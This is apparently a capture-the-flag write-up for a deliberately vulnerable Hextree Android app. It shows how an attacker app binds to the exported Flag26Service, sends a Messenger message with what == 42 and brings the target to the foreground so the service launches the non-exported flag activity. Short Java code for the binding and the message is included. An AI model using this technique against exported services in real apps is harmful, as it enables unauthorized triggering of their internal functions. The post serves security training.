Post

Exploiting Flag26Service – Android Messenger-Based Service (Hextree CTF)

Exploiting Flag26Service – Android Messenger-Based Service (Hextree CTF)

πŸ” Challenge Overview

We’re given a bound Service called Flag26Service, which exposes a Messenger IPC interface using onBind():

1
2
3
4
@Override
public IBinder onBind(Intent intent) {
    return this.messenger.getBinder();
}

The service uses a Handler to process incoming messages. When it receives a message with what == 42, it triggers this function:

1
2
3
4
5
6
7
8
private void success(String str) {
    Intent intent = new Intent(this, Flag26Activity.class);
    intent.putExtra("secret", secret);
    intent.putExtra("what", 42);
    intent.addFlags(268468224);
    intent.putExtra("hideIntent", true);
    startActivity(intent);
}

This launches the activity containing the flag, passing the secret and flag trigger values via the Intent.


🚧 The Catch

Even if you successfully bind to the service and send Message.what == 42, Flag26Activity is not exported:

1
2
3
<activity
    android:name="io.hextree.attacksurface.activities.Flag26Activity"
    android:exported="false"/>

This means the activity cannot be launched from your external app unless the target app is already in the foreground or running in the background.


βœ… Solution Steps

1. Create a separate app

This is your attack app.

2. Bind to the service

Use Context.BIND_AUTO_CREATE to connect to the exported Flag26Service.

1
2
3
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag26Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);

3. Send the trigger message

Use a Messenger to send a message with what == 42.

1
2
Message msg = Message.obtain(null, 42);
serviceMessenger.send(msg);

4. Bring the app to the foreground

Since Flag26Activity is not exported, the service won’t launch it unless the app is running in the foreground.

βœ… Workaround: After pressing the attack button, manually open the target app (io.hextree.attacksurface) to bring it to the foreground. This will allow startActivity(intent) inside the service to succeed.


🏁 Flag Retrieval

Once the activity is launched, it checks if the passed secret matches the static Flag26Service.secret, and shows the flag if so:

1
2
3
if (Flag26Service.secret.equals(stringExtra)) {
    success(this);
}

βœ… The flag is displayed inside Flag26Activity UI or logged using the internal LogHelper class.


thanks for reading. If you enjoyed this write-up, feel free to follow me on Twitter

This post is licensed under CC BY 4.0 by the author.